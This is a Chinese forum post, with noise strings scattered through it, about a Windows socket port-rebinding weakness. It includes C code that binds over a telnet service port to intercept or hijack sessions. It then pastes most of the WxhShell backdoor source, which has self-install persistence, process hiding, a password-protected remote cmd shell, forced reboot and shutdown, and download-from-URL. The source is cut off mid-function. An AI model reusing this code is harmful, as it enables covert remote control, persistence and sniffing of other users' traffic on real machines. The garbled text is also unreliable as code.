-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G#V}9l8Q s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W/z\j/Rgc ?\_N*NEtK saddr.sin_family = AF_INET; S >E|A% 1b4aY>
Z saddr.sin_addr.s_addr = htonl(INADDR_ANY); RYU(z;+0p n5nV461U bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @,Je*5$o" Irk@#,{< 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 HPc7Vo( deD%E-Ja 这意味着什么?意味着可以进行如下的攻击: r"yA=d'c xM ]IU
< 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 4vri=P 2% q3+G 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2k\i/i/Y 3j{VpacZY 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2C9wOO I y?_2m 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 S@AHI!"h=V R<}WNZl 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 E0K'|* <E2+P,Lgw 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 P4"Pb\o* B7:8%r/ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *gu4% em^|E73 #include j@4
yRl ^ #include ]Y#$!fIx #include txF)R[dZK #include `;[j`v8O DWORD WINAPI ClientThread(LPVOID lpParam); !PN;XZ~{ int main() */=5m] { /O"IA4O WORD wVersionRequested; vn n4 DWORD ret; _xgF?# WSADATA wsaData; ML6V,V/e BOOL val; i^c SOCKADDR_IN saddr; !olvP*c" SOCKADDR_IN scaddr; Yjv[rH5v int err; N3P!<J/tc SOCKET s; ahagt9[,:F SOCKET sc; gTz66a@i int caddsize; &!I^m HANDLE mt; xkv2#"*v DWORD tid; wJ_E\v P wVersionRequested = MAKEWORD( 2, 2 ); )9~1XiS, err = WSAStartup( wVersionRequested, &wsaData ); SHw%u~[hu if ( err != 0 ) { sb
3l4(8g
printf("error!WSAStartup failed!\n"); fo63H'7 return -1; y'(bp=Nq } tw.2h'D saddr.sin_family = AF_INET; <ex,@{n4 1:-^* //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d*%-r2K yZf+*j/a7 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TGnyN'P| saddr.sin_port = htons(23); s>Eu[uA if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M8Y\1#~ { 9Y:JA]U&8 printf("error!socket failed!\n"); 65FdA-4 return -1; iz'#K?PF_ } } D5* val = TRUE; qaBjV6loy //SO_REUSEADDR选项就是可以实现端口重绑定的 &KfRZ`9H if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0 S3~IeJ { Ndj9B|s_ printf("error!setsockopt failed!\n"); 7g(,$5 return -1; ;6N@raP7 } 6d~[M y //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; /1X0h //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 i2or/(u` //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;IhkGPpWP Fs q=u-= : if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) QJFx/zU { 6&(gp(F ret=GetLastError(); ayfZ>x{s* printf("error!bind failed!\n"); 'L#qR)t return -1; |RqCw7 } {p-b,J9~a listen(s,2); :[gM 5G while(1) HR'r~ #j { !ndc
<], caddsize = sizeof(scaddr); @";z?xj //接受连接请求 uHdrHP sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4;;F(yk8 if(sc!=INVALID_SOCKET) ybBLBJb { XcJ'w mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O@U[S.IK if(mt==NULL)
?9qA"5 { J~z;sTR printf("Thread Creat Failed!\n"); 7)zn[4v7qt break; ]Xcqf9k } \m!swYy } y}jX/Ln CloseHandle(mt); Va"_.8n|+ } M 7j0&>NTG closesocket(s); x;NCW WSACleanup(); KK-9[S- return 0; /kGRN@ } pyK|zvr-r DWORD WINAPI ClientThread(LPVOID lpParam) ua(y! Im { &_
er_V~ SOCKET ss = (SOCKET)lpParam; *JXiOs SOCKET sc; 8ID
fYJ unsigned char buf[4096]; 0*^)n&O SOCKADDR_IN saddr; SJ1
1LF3) long num; i70TJk$fs DWORD val; gvYib`# DWORD ret; {t: ZMUV //如果是隐藏端口应用的话,可以在此处加一些判断 C)>
])'S //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 gBRhO^Sz saddr.sin_family = AF_INET; )f4D2c&VE saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2BOe,giy saddr.sin_port = htons(23); F,#)8>O if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N7j { :<d\//5<9 printf("error!socket failed!\n"); =LJc8@<:f return -1; rkA0v-N6v } d>:(>@wz val = 100; &F"Mkyf if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yTw0\yiO { r@+IDW.=9 ret = GetLastError(); 4%O*2JAw return -1; lp5`Kw\ } Fz7(Kuc if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [X:mmM0gd { 'pOtd7Vr ret = GetLastError(); R}4o{l6 return -1; pYV$sDlD } JsOPI] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) X ^>o/U { oo7&.HWf printf("error!socket connect failed!\n"); XJnDx 09h closesocket(sc); 2A@9jl s closesocket(ss); {O*<1v9< return -1; *zX*k7LnV } D"fE )@Q@Y while(1) WlP#L` { MP, l*wVd //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 rAD5n,M] //如果是嗅探内容的话,可以再此处进行内容分析和记录 QLo^6S5! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W5*%n]s~ num = recv(ss,buf,4096,0); kNfqdCF{P if(num>0) k{n*[)m send(sc,buf,num,0); FQ?,&s$Bmd else if(num==0) j[YzBXd
V break; Kg&{
?& num = recv(sc,buf,4096,0); y|b|_eE?{ if(num>0) B+|E|8" send(ss,buf,num,0); p8y_uNQE else if(num==0) /zn|?Y[ break; PPT"?lt*& } )NZ6!3[@ closesocket(ss); %>'2E!% closesocket(sc); >L/Rf8j & return 0 ; !o &+ } k%#`{#ni VtF^;
f }(O/ y- ========================================================== !_s|h@ m`
cw: 下边附上一个代码,,WXhSHELL dz.]5R iC&=-$vu ========================================================== HTI1eLZ2 c+AZ(6O?\ #include "stdafx.h" 1(M0C[P I jN3 jU #include <stdio.h> ';??0M #include <string.h> e;pVoRI #include <windows.h> hu\HK81m #include <winsock2.h> bJe*J\){ #include <winsvc.h> ~c[}%Ir> #include <urlmon.h> h{.KPK\ 2}]6~i #pragma comment (lib, "Ws2_32.lib") AY:3o3M #pragma comment (lib, "urlmon.lib") "xZ]i) +Tc4+q! #define MAX_USER 100 // 最大客户端连接数 "5e~19 #define BUF_SOCK 200 // sock buffer Z$0r+phQk= #define KEY_BUFF 255 // 输入 buffer ?*E Y~'I *=dFTd"# #define REBOOT 0 // 重启 /ee:GjUkB #define SHUTDOWN 1 // 关机 >ZkcL7t9 4cL
NPl< #define DEF_PORT 5000 // 监听端口 Mm-FdP
m :SG9ygq' #define REG_LEN 16 // 注册表键长度 6BVV2j)zl: #define SVC_LEN 80 // NT服务名长度 .%`|vGF )7=B]{B_ // 从dll定义API P]T(I/\g typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X`]-)(UX typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G;V@oT typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BDxrS q,H typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2F^
%d9`
;6t>!2I>C // wxhshell配置信息 PC/fb-J struct WSCFG { KgVit+4u/ int ws_port; // 监听端口 "e g`3v char ws_passstr[REG_LEN]; // 口令 :ORCsl6- int ws_autoins; // 安装标记, 1=yes 0=no sF]v$kq char ws_regname[REG_LEN]; // 注册表键名 y?<[g;MuT char ws_svcname[REG_LEN]; // 服务名 VgZ<T,SuW char ws_svcdisp[SVC_LEN]; // 服务显示名 Gk,{{:M:5 char ws_svcdesc[SVC_LEN]; // 服务描述信息 MLY19 ;e char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &d`Umm] int ws_downexe; // 下载执行标记, 1=yes 0=no 2 8SlFu? char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" c a_N76o! char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m{!BSl )V JAs| }; ?+GbPG~ z=!$3E ecr // default Wxhshell configuration C!XI0d
struct WSCFG wscfg={DEF_PORT, rfYu8- "xuhuanlingzhe", c }ivYH?`w 1, MjE.pb "Wxhshell", EG&^;uU "Wxhshell", n=r}jRH1 "WxhShell Service", :7Rs$
-*Uk "Wrsky Windows CmdShell Service", (U2G" "Please Input Your Password: ", )(*A1C[ 1, Di9yd " http://www.wrsky.com/wxhshell.exe", D/V.o}X$ "Wxhshell.exe" *)ed( +b }; :84ja>`c hiaj!&+Q // 消息定义模块 L;nRI. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T;GBZR% char *msg_ws_prompt="\n\r? for help\n\r#>"; V-A^9AAPm char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; qh0)~JL4 char *msg_ws_ext="\n\rExit."; &o^ wgmS char *msg_ws_end="\n\rQuit."; dpZ7eJ char *msg_ws_boot="\n\rReboot..."; sxgR;gf6 char *msg_ws_poff="\n\rShutdown..."; _XXK1H x char *msg_ws_down="\n\rSave to "; 7EY~5U/4 \bQ|O7s char *msg_ws_err="\n\rErr!"; 7;;W{W% char *msg_ws_ok="\n\rOK!"; ro@Zbm;P <Xp
F char ExeFile[MAX_PATH]; #1hT#YN int nUser = 0; ,9|% HANDLE handles[MAX_USER]; :m5&
i& int OsIsNt; )oTEB#J 'e3y| SERVICE_STATUS serviceStatus; u>&\@?( SERVICE_STATUS_HANDLE hServiceStatusHandle; 8)5n l4U& CA y // 函数声明 $2]1 3j int Install(void); MGc=TQ. int Uninstall(void); BGOI$, int DownloadFile(char *sURL, SOCKET wsh); Rt7}e09HV int Boot(int flag); Q[J,j+f< void HideProc(void); M42Zpb]. int GetOsVer(void); P:lvZ int Wxhshell(SOCKET wsl); kSU5
} void TalkWithClient(void *cs); KrMIJA4> int CmdShell(SOCKET sock); dwrc"GK!o int StartFromService(void); bw%1*;n) int StartWxhshell(LPSTR lpCmdLine); T 6QnCmB4 >]:R{1h VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qqw6p j VOID WINAPI NTServiceHandler( DWORD fdwControl ); n ^n'lgUT ZhxMA*fL // 数据结构和表定义 +D?d)lK SERVICE_TABLE_ENTRY DispatchTable[] = :N8D1e-a { <kLY1EILM {wscfg.ws_svcname, NTServiceMain}, 8S]Mf*~S' {NULL, NULL} 6;n^/3*# }; L!S-f4^5 yel>-=Vn // 自我安装 CSr{MF`]e int Install(void) ?jqZeO#W7 { ivoPl~)J char svExeFile[MAX_PATH]; ~e{2Y% HKEY key; *!Am6\+ strcpy(svExeFile,ExeFile); yp@mxI@1 $k'f)E // 如果是win9x系统,修改注册表设为自启动 3Xd+>'H if(!OsIsNt) { NnHwk)' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V]q{N-Iq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u:HKmP; RegCloseKey(key); Xid>8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ub3,x~V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W**=X\"' RegCloseKey(key); .kC}. Q_ return 0; H kg@M?( }
n:wn(BC3 } T"QY@#E } I,YGm
else { "b1_vA]03 IE_@:]K}Ja // 如果是NT以上系统,安装为系统服务 v/m`rc]e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v~jN,f* if (schSCManager!=0) ~%<PEl| { jb7=1OPD_ SC_HANDLE schService = CreateService 2CmeO&(Qf* ( <ht>> schSCManager, ]G1j\ wnF wscfg.ws_svcname, uFok'3!g7% wscfg.ws_svcdisp, @J r SERVICE_ALL_ACCESS, <U~P-c
tN SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q@$1!9m SERVICE_AUTO_START, $hKgTf? SERVICE_ERROR_NORMAL, \&TTe8 svExeFile, E32z(:7M NULL, `/ HygC6 NULL, 3_h%g$04s NULL, PA,j;{,(b NULL, qWanr7n]@ NULL ?5(L.XFm ); Fn[~5/ if (schService!=0) qb" ! { `Mjm/9+18 CloseServiceHandle(schService); Rp@u.C< CloseServiceHandle(schSCManager); 0I#<-9&d- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0(i`~g5 strcat(svExeFile,wscfg.ws_svcname); wz,
\zh if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wR;l"*j RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); N$y4>g RegCloseKey(key); EXBfzK)a return 0; vaQ,l6z
.h } wZC'BLD } ~f@<] CloseServiceHandle(schSCManager); BMdr.0 } #t/Q4X
+ } &a|oJ'clz TM"-X\e~{ return 1; @?1%*/ } [=9R5.)c ^M80 F 7 // 自我卸载 t%TZu>(1O int Uninstall(void) ^#=L?e { c^bA]l^a HKEY key; }!d}febk_ "(xS[i if(!OsIsNt) { .H>Rqikj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { djSN{>S RegDeleteValue(key,wscfg.ws_regname); Olno9_' RegCloseKey(key); "~[Rwh? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;T_9;RU<'b RegDeleteValue(key,wscfg.ws_regname); )a}5\V RegCloseKey(key); )R|7> 97 return 0; a>kDG <.A } i]YQq! B } n -=\n6"P } r zvX~B6 else { 2Z97Tq $?s^HKF~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s{IoL_PJP if (schSCManager!=0) _4W#6! { srSTQ\l4 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); x:bYd\
EJ[ if (schService!=0) <VBw1|)$@ { gON6jnDO if(DeleteService(schService)!=0) { {c1qC zM4 CloseServiceHandle(schService); |`okIqp CloseServiceHandle(schSCManager); Q?tV:jogY return 0; {Q-U=me\ } ]S:@=9JB' CloseServiceHandle(schService); H|!s. } v]J# SlF CloseServiceHandle(schSCManager); 7 dzE"m } roA1=G\Q } .( J/*H 3K{8sFDO return 1; P$QjDu- } x3P@AC$\ _kd |:, // 从指定url下载文件 aE%VH ;? int DownloadFile(char *sURL, SOCKET wsh) H|Nw)*. { "5YdmBy HRESULT hr; N:<O char seps[]= "/"; YNXk32@j@e char *token; Om^/tp\ char *file; 6a@~;!GlI char myURL[MAX_PATH]; BNy"YK$ char myFILE[MAX_PATH]; 4W?<hv+k7* O<3,n;56Z strcpy(myURL,sURL); n=&c5! token=strtok(myURL,seps); zb" hy"hKw while(token!=NULL) K$.zO4 { moR]{2Cd{ file=token; l#"alU!<^ token=strtok(NULL,seps); Dr1F|[ } yRYWx` G s]N-n?'G" GetCurrentDirectory(MAX_PATH,myFILE); j[fQs,efK strcat(myFILE, "\\"); LnDj strcat(myFILE, file); QdTe!f| send(wsh,myFILE,strlen(myFILE),0); AH`15k_i send(wsh,"...",3,0); </X"*G't hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $imx-H`| if(hr==S_OK) ["F,|e{y$ return 0; _E;Y
~I,i else r83~o/T@ return 1; !7oy%{L Wa(S20yF } ]'Yw#YB R
u5&xIQ // 系统电源模块 V.#8-?z int Boot(int flag) FT;JYkO { k~#|8eLv HANDLE hToken; Q8x{V_Pot TOKEN_PRIVILEGES tkp; a%!XLyq @QG1\W' if(OsIsNt) { `k&K"jA7$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l:eN u}{& LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C6w{"[Wv=X tkp.PrivilegeCount = 1; @"8QG^q8de tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DKl7|zG4 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }/spo3,6 if(flag==REBOOT) { e{;e if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b0X[x{k" return 0; 5B 7*Z } ^WD$
gd else { \zU5G#LQ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?U08A{ c return 0; 1VFqT' } .@Uz/j?> } [MS.5+1Y else { !j9i=YDb if(flag==REBOOT) { mPin\-I if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B:~;7A\ return 0; <gLtX[v!CL } 05B+WJ1 else { m;f?}z_\$ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }qhK.e return 0; 5$U>M } j\f$r,4 } *]WXM.R8 LFyceFbm return 1; l7,qWSsnK } Zk
UuniO ~,2hP
~ // win9x进程隐藏模块 V^I/nuy void HideProc(void) q}$=bR1+ { suFOc #@^w>D6W HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); gF6j6 if ( hKernel != NULL ) Ok&>[qu { ^~qs-.? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %uVJLz ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Lc<xgN+cJ FreeLibrary(hKernel); /dt!J
`: } L59oh |ozoc"' return; 6;frIl; } zL'IN)7MU %D(prA_w // 获取操作系统版本 -!,]Y10 int GetOsVer(void) jHlOP,kc { 7/_ VE OSVERSIONINFO winfo; qYZ7Zt; winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q5nyD/k4c GetVersionEx(&winfo); 5w)^~#' if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Pmlgh&Z return 1; v\(m"|4(i else C'/M/|=Q# return 0; _SC } ?vn 0%e868 1 {x~iZa // 客户端句柄模块 ZT"|o\G^Q int Wxhshell(SOCKET wsl) 7.
9s.* { V/}>>4 SOCKET wsh; %;(|KrUN struct sockaddr_in client; _~ZQ b DWORD myID; xPMyG); B9IXa; while(nUser<MAX_USER) \1mM5r~ { 0t COb9 int nSize=sizeof(client); mERrcY Y{ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h2"|tTm,a if(wsh==INVALID_SOCKET) return 1; %C`'>,t> O
{6gNR,* handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Eqmv`Z
[_ if(handles[nUser]==0) 'SU9NQS closesocket(wsh); 6!%d-Z7) else b^,Mw8KsO nUser++; x)VIA] } ;5Vk01R WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +yb$[E* f'6qJk%J return 0; s>@#9psm } 2Cd
--W+= 6"Lsui?? // 关闭 socket ~26s7S} void CloseIt(SOCKET wsh) %rDmW?T { '+!S|U,{ closesocket(wsh); O/Mz?$8J nUser--; J4[x,(iq( ExitThread(0); / }XsuH } 1%hM8:)i_ VUy)4* // 客户端请求句柄 J`+`Kq1T void TalkWithClient(void *cs) ECS<l*i57& { K\KO5A N=Uc=I7C SOCKET wsh=(SOCKET)cs; @ojg`!, char pwd[SVC_LEN]; h76NR char cmd[KEY_BUFF]; Dl zmAN char chr[1]; Sz|Y$, int i,j; 85%Pq:E W?^8/1U while (nUser < MAX_USER) { qXB03}] G ? gA=39[j if(wscfg.ws_passstr) { *]m kyAhi if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uZ/7t(fy //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N{^>MRK=5 //ZeroMemory(pwd,KEY_BUFF); l|vWeBs i=0; PUE'Rr(Q while(i<SVC_LEN) { )7I.N]= :!I)r$ // 设置超时 JMirz~%ib fd_set FdRead; pY)j0tdd struct timeval TimeOut; jA-5X?!In FD_ZERO(&FdRead); hmBnV FD_SET(wsh,&FdRead); \za5:?[xB TimeOut.tv_sec=8; ?Rt1CDu TimeOut.tv_usec=0; x0u?*5-t int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); of+phMev if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I|F~HUzA" Jcalf{W6 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J-, H6u pwd =chr[0]; MdVCD^B if(chr[0]==0xd || chr[0]==0xa) { 84p[N8 pwd=0; $kkp*3{ot break; eg$5z
Z } {{.sEi* i++; Y( 1L>4 } V#gF*]q 6bbZ<E5At // 如果是非法用户,关闭 socket ,5eH2W if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;&+[W(7Sy } Sv~YFS :oy @ate49W send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <+?
Y
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2fkIdy#n@ ~T>jBYI0 while(1) { z*M}=`M$ :]B%
>*;} ZeroMemory(cmd,KEY_BUFF); P"R97#C _.d}lK3$2 // 自动支持客户端 telnet标准 \3H<z@; j=0; (30<oE{ while(j<KEY_BUFF) { t$]&,ucW# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i{tTUA cmd[j]=chr[0]; qJ{r!NJJ
8 if(chr[0]==0xa || chr[0]==0xd) { |D;_:x9 cmd[j]=0; 9N~8s6Ob break; $6:XsrV\a } wJ80};! j++; v Q-ixh } l zfD)TWb g.[+yzuE6 // 下载文件 &YT_#M if(strstr(cmd,"http://")) { H$~M`Y9I~ send(wsh,msg_ws_down,strlen(msg_ws_down),0); N?qIpv/a. if(DownloadFile(cmd,wsh)) .sd B3x send(wsh,msg_ws_err,strlen(msg_ws_err),0); nB cp7e else ~In{lQ[QX send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S2J#b"Y } CrnB{Z4L else { G$;>ueM X'V+^u@W switch(cmd[0]) { hlAR[ ] TK;\_yN // 帮助 RGT_}ni case '?': { 8w)e/*:j send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ? .c?Pu break; `fQM } `t{D7I7 // 安装 {E!$ xY8 case 'i': { *'Z-OY<V if(Install()) wrH7 pd send(wsh,msg_ws_err,strlen(msg_ws_err),0); jZXVsd else VDB$"T9# send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a`7%A H) break; OOCQsoN } E^b
pckP // 卸载 Dz[566UD case 'r': { yB-.sGu if(Uninstall())
n=f`AmF; send(wsh,msg_ws_err,strlen(msg_ws_err),0); >$2E1HW. else |'ZN!2u send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R<Z^L~) break; 9aT L22U? } %lXbCE:[ // 显示 wxhshell 所在路径 7<^'DOs case 'p': { Y{,2X~ 7 char svExeFile[MAX_PATH]; ?V#Gx>\ strcpy(svExeFile,"\n\r"); &(gm4bTg strcat(svExeFile,ExeFile); i4 hJE send(wsh,svExeFile,strlen(svExeFile),0); n4^*h4J7 break; /wr6\53J } QZ?d2PC=>? // 重启 S*4f%! case 'b': { <e'P%tG' send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fk+1# 7{ if(Boot(REBOOT)) s>T`l send(wsh,msg_ws_err,strlen(msg_ws_err),0); fCLcU@3W? else { {5SfE$r closesocket(wsh); ft{W/ * +_ ExitThread(0); a]`itjL^ } /Z:N8e break; >Cvjs } llNXQlP\B // 关机 1XG$ z@NN case 'd': { /v5qyR7an send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rxQ<4 if(Boot(SHUTDOWN)) ICk(z~D~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); WS5A Y @(~ else { -<6v:Z closesocket(wsh); ]K7`-p~T ExitThread(0); KL
"Y!PN: } 1:_=g #WH break; USprsaj } FS8S68 // 获取shell 6{Ks`Af case 's': { Z)NrhJC CmdShell(wsh); +i+tp8T+7 closesocket(wsh); k,T_e6( ExitThread(0); |H:<:*=6c break; s,w YlVYf! } M^uU4My // 退出 8zAg;b[ case 'x': { 9X3yp:>V send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \4aKLr CloseIt(wsh); G[#.mD{k break; Khj=llo, } h77IWo6% // 离开 9[kX/#~W* case 'q': { 8\DME send(wsh,msg_ws_end,strlen(msg_ws_end),0); w$b~x4y% closesocket(wsh); 0F^]A"kF WSACleanup(); aRX exit(1); 82|q7*M*. break; zwnw' } $R"; } 3EmcYC } va^0JfQ A';n6ne%i // 提示信息 ' X}7]y if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AQe!Sqg' } X($6IL6m } $~=2{ YxJ`-6 return; FRgLlp8x } {EL'd!v7e -Un=TX // shell模块句柄 uWTN2jr int CmdShell(SOCKET sock) '6X%=f'^b { <Pio Q>~ STARTUPINFO si; Q3,=~}ZNK ZeroMemory(&si,sizeof(si)); 8[M*
x3 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `dO}L si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9Eg&CZ,9$D PROCESS_INFORMATION ProcessInfo; { V0>iN:~S char cmdline[]="cmd"; 7
5|pp CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n8$=f'Hgb return 0; UW/N MjK } k-Fdj5/ gfm;xT/y // 自身启动模式 b_l3+'#ofM int StartFromService(void) $3 4j6;oN { UWw}!1 typedef struct lbS?/f { e/>:K' { DWORD ExitStatus; qOi5WX6F/ DWORD PebBaseAddress;
